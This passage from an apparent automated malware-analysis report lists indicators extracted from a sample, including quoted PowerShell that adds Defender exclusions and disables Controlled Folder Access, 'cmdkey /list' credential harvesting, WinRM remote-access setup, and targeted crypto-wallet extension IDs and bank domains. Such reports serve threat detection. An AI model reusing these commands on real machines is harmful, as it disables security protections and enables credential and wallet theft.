reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"sample.bin\"), Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"sample.bin\"), Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\"), Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"sample.bin\"), Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \" --remote-debugging-port=\" (Indicator: \"--remote-debugging-port=\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"--profile-directory=\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-794","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"\", \"\", \"\", \"runas\", 1\n WScript.Sleep 1200\n Dim running, proc\n running = False\n Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\n Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='\" (Indicator: \" Win32_Process\"; Source: \"sample.bin\"), Found string \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Indicator: \" Win32_ComputerSystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"sample.bin\"), Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056","id":"string-403","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-478","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (string)","description":"Observed browser extension: \"nkbihfbeogaeaoehlefnkodbefgpgknn\" which is related to MetaMask [Source: sample.bin], Observed browser extension: \"fhbohimaelbohpjbbldcngcnapndodjp\" which is related to Binance Chain Wallet [Source: sample.bin], Observed browser extension: \"bfnaelmomeimhlpmgjnjophhpkkoljpa\" which is related to Phantom [Source: sample.bin], Observed browser extension: \"hnfanknocfeofbddgcijnmhnfnkdnaad\" which is related to Coinbase Wallet [Source: sample.bin], Observed browser extension: \"fnjhmkhhmkbjkkabndcnnogagogbneec\" which is related to Ronin Wallet [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-125","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to access crypto wallet extension (string)","description":"Found string \"nkbihfbeogaeaoehlefnkodbefgpgknn\" (Indicator: \"nkbihfbeogaeaoehlefnkodbefgpgknn\"; Source: \"sample.bin\"), Found string \"fhbohimaelbohpjbbldcngcnapndodjp\" (Indicator: \"fhbohimaelbohpjbbldcngcnapndodjp\"; Source: \"sample.bin\"), Found string \"hnfanknocfeofbddgcijnmhnfnkdnaad\" (Indicator: \"hnfanknocfeofbddgcijnmhnfnkdnaad\"; Source: \"sample.bin\"), Found string \"fnjhmkhhmkbjkkabndcnnogagogbneec\" (Indicator: \"fnjhmkhhmkbjkkabndcnnogagogbneec\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1217","id":"string-10066","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"Found string \"try { Get-Item WSMan:\\localhost\\Client\\TrustedHosts | Select-Object -ExpandProperty Value } catch { 'TrustedHosts read failed' }\" (Indicator: \"Get-Item \"; Source: \"sample.bin\"), Found string \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Indicator: \"Get-WmiObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-394","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"try { Get-Item WSMan:\\localhost\\Client\\TrustedHosts | Select-Object -ExpandProperty Value } catch { 'TrustedHosts read failed' }\" (Indicator: \"Select-Object\"; Source: \"sample.bin\"), Found string \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Indicator: \"Select-Object\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-374","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \" cmdkey list:\" (Indicator: \"cmdkey\"; Source: \"sample.bin\"), Found string \"netstat\" (Indicator: \"netstat\"; Source: \"sample.bin\"), Found string \"Ping\" (Indicator: \"ping\"; Source: \"sample.bin\"), Found string \"cmdkey\" (Indicator: \"cmdkey\"; Source: \"sample.bin\"), Found string \"/c cmdkey /list\" (Indicator: \"cmdkey\"; Source: \"sample.bin\"), Found string \"TaskList\" (Indicator: \"tasklist\"; Source: \"sample.bin\"), Found string \"hostname; whoami\" (Indicator: \"whoami\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"CredEnumerate\" (Indicator: \"CredEnumerate\"; Source: \"sample.bin\"), Found reference to API \"[Credential Manager] CredEnumerate returned 0 \" (Indicator: \"CredEnumerate\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.004","id":"string-81","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"HKEY_LOCAL_MACHINE\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: sample.bin, \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-96","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"NtHash\" (Indicator: \"nthash\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1003.002","id":"string-867","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-217","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"sample.bin\"), Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-188","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-915","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"sample.bin\"), Found api reference \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"sample.bin\"), Found api reference \"BCryptDestroyKey\" (Indicator: \"CryptDestroyKey\"; Source: \"sample.bin\"), Found api reference \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), Found api reference \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"sample.bin\"), Found api reference \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), Found api reference \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"sample.bin\"), Found api reference \"BCryptSetProperty\" (Indicator: \"BCryptSetProperty\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-602","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"sample.bin\"), Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-927","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptDestroyKey\" (Indicator: \"CryptDestroyKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"sample.bin\"), Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptSetProperty\" (Indicator: \"BCryptSetProperty\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-438","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.AesGcmDecrypt.PK11SDR_Decrypt\" in Source: sample.bin, Observed string: \"System.Security.Cryptography.X509Certificates.AesGcmDecryptOnce.DecryptChromium\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-445","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains asymmetric cryptographic functions (API string)","description":"Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; Source: \"sample.bin\"), Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"sample.bin\"), Found reference to API \"BCryptSetProperty\" (Indicator: \"BCryptSetProperty\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1573.002","id":"string-398","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"sample.bin\"), Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-212","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"encryptedKey\" (Indicator: \"encryptedkey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-280","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"$re = \\\"Add-MpPreference -ExclusionPath '$dir';Add-MpPreference -ExclusionPath '$tmp';Add-MpPreference -ExclusionPath '$pd';Add-MpPreference -ExclusionPath '$sd';Set-MpPreference -EnableControlledFolderAccess Disabled\\\"\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\"), Found reference string \"try{ Add-MpPreference -ExclusionProcess 'powershell.exe' }catch{}\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\"), Found reference string \"try{ Add-MpPreference -ExclusionPath $dir }catch{}\" (Indicator: \"add-mppreference\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1685","id":"string-980","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"AesGcmDecrypt\" (Indicator: \"Aes\"; Source: \"sample.bin\"), Found reference to \"AesGcmDecrypt\" (Indicator: \"AesGcm\"; Source: \"sample.bin\"), Found reference to \"AesGcmDecryptOnce\" (Indicator: \"Aes\"; Source: \"sample.bin\"), Found reference to \"AesGcmDecryptOnce\" (Indicator: \"AesGcm\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"NtQuerySystemInformation nt=0x\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\"), Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to remove a file/directory","description":"Found string \"try { Set-Service WinRM -StartupType Automatic -ErrorAction SilentlyContinue } catch {}\" (Indicator: \"rm -\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-5065","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \" if ($pt.Status -ne 'RanToCompletion') { Write-Output 'PAIR_NO_OR_TIMEOUT'; Start-Sleep -Seconds $delaySec; continue }\" (Indicator: \"Start-Sleep\"; Source: \"sample.bin\"), Found string \" } catch { Write-Output ('PAIR_ERR:' + $_.Exception.Message); Start-Sleep -Seconds $delaySec }\" (Indicator: \"Start-Sleep\"; Source: \"sample.bin\"), Found string \" if ($t.Status -ne 'RanToCompletion') { Write-Output 'PAIR_LOOKUP_FAIL'; Start-Sleep -Seconds $delaySec; continue }\" (Indicator: \"Start-Sleep\"; Source: \"sample.bin\"), Found string \"'); $p.Play(); Start-Sleep -Milliseconds 3200; $p.Stop(); $p.Close() } catch {}\"\" (Indicator: \"Start-Sleep\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-397","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister scheduled task using PowerShell command","description":"Found reference string \"try{ Unregister-ScheduledTask -TaskName '\" (Indicator: \"unregister-scheduledtask\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070","id":"string-982","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"Found string \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Indicator: \"Format-List\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1565","id":"string-366","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenService failed \" (Indicator: \"OpenService\"; Source: \"sample.bin\"), Found reference to API \"OpenService\" (Indicator: \"OpenService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.002","id":"string-544","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService win32=\" (Indicator: \"ControlService\"; Source: \"sample.bin\"), Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-192","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$40","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-395","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"https://www.vpbank.com.vn\" (Source: sample.bin, Indicator: \"vpbank.com\"), \"chase.com\" (Source: sample.bin, Indicator: \"chase.com\"), \"capitalone.com\" (Source: sample.bin, Indicator: \"capitalone.com\"), \"bmo.com\" (Source: sample.bin, Indicator: \"bmo.com\"), \"bpi.com.ph\" (Source: sample.bin, Indicator: \"bpi.com.ph\"), \"https://www.dbs.com.sg\" (Source: sample.bin, Indicator: \"dbs.com.sg\"), \"anz.com\" (Source: sample.bin, Indicator: \"anz.com\"), \"wellsfargo.com\" (Source: sample.bin, Indicator: \"wellsfargo.com\"), \"usbank.com\" (Source: sample.bin, Indicator: \"usbank.com\"), \"https://www.wellsfargo.com\" (Source: sample.bin, Indicator: \"wellsfargo.com\"), \"https://www.bpi.com.ph\" (Source: sample.bin, Indicator: \"bpi.com.ph\"), \"commbank.com.au\" (Source: sample.bin, Indicator: \"commbank.com.au\"), \"westpac.com.au\" (Source: sample.bin, Indicator: \"westpac.com.au\"), \"citibank.com\" (Source: sample.bin, Indicator: \"citibank.com\")","origin":"sample.bin","id":"string-23","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"$41","origin":"sample.bin","id":"string-373","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetLastWriteTime\" (Indicator: \"GetLastWriteTime\"; Source: \"sample.bin\"), Found reference to API \"GetCreationTime\" (Indicator: \"GetCreationTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe\" (Indicator: \"github.com\"; Source: \"sample.bin\"), Found string \"coinbase.com\" (Indicator: \"coinbase.com\"; Source: \"sample.bin\"), Found string \"github.com\" (Indicator: \"github.com\"; Source: \"sample.bin\"), Found string \"blockchain.com\" (Indicator: \"blockchain.com\"; Source: \"sample.bin\"), Found string \"paypal.com\" (Indicator: \"paypal.com\"; Source: \"sample.bin\"), Found string \"https://www.paypal.com/signout\" (Indicator: \"paypal.com\"; Source: \"sample.bin\"), Found string \"https://github.com/logout\" (Indicator: \"github.com\"; Source: \"sample.bin\"), Found string \"youtube.com\" (Indicator: \"youtube.com\"; Source: \"sample.bin\"), Found string \"https://www.paypal.com\" (Indicator: \"paypal.com\"; Source: \"sample.bin\"), Found string \"binance.com\" (Indicator: \"binance.com\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1590","id":"string-761","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"NtQuerySystemInformation nt=0x\" in \"sample.bin\", Found system information discovery API: \"NtQuerySystemInformation\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation nt=0x\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\"), Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.001","id":"string-659","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation nt=0x\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\"), Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-907","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"\", \"\", \"\", \"runas\", 1\n WScript.Sleep 1200\n Dim running, proc\n running = False\n Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\n Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='\" (Indicator: \" win32_process\"; Source: \"sample.bin\"), \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Indicator: \" win32_computersystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"\", \"\", \"\", \"runas\", 1\n WScript.Sleep 1200\n Dim running, proc\n running = False\n Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\n Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='\" (Indicator: \" Win32_Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-513","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"\", \"\", \"\", \"runas\", 1\n WScript.Sleep 1200\n Dim running, proc\n running = False\n Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\n Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='\" (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"Found string \"cookies.sqlite-shm\" (Indicator: \"cookies.sqlite\"; Source: \"sample.bin\"), Found string \"cookies.sqlite\" (Indicator: \"cookies.sqlite\"; Source: \"sample.bin\"), Found string \"cookies.sqlite-wal\" (Indicator: \"cookies.sqlite\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-5058","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"FindWindow\" (Indicator: \"findwindow\"; Source: \"sample.bin\"), Found reference to API \"SendMessage\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"SendMessageGet\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessage\" (Indicator: \"postmessage\"; Source: \"sample.bin\"), Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"sample.bin\"), Found reference to API \"EnumWindowsProc\" (Indicator: \"enumwindows\"; Source: \"sample.bin\"), Found reference to API \"EnumChildWindows\" (Indicator: \"enumchildwindows\"; Source: \"sample.bin\"), Found reference to API \"SendMessageStr\" (Indicator: \"sendmessage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindow\" (Indicator: \"FindWindow\"; Source: \"sample.bin\"), Found reference to API \"GetWindowText\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; Source: \"sample.bin\"), Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"sample.bin\"), Found reference to API \"EnumWindowsProc\" (Indicator: \"EnumWindows\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus win32=\" (Source: \"sample.bin\"), Found string \"QueryServiceStatus\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1007","id":"string-910","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"Found string \"if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-696","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"Found reference to API \"No-password WinRM to \" (Indicator: \"winrm \"; Source: \"sample.bin\"), Found reference to API \"try { Set-Service WinRM -StartupType Automatic -ErrorAction SilentlyContinue } catch {}\" (Indicator: \"winrm \"; Source: \"sample.bin\"), Found reference to API \"WinRM to \" (Indicator: \"winrm \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1133","id":"string-909","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"/node:\" (Indicator: \"/node:\"; in Source: \"sample.bin\"), Found string \"\", \"\", \"\", \"runas\", 1\n WScript.Sleep 1200\n Dim running, proc\n running = False\n Set 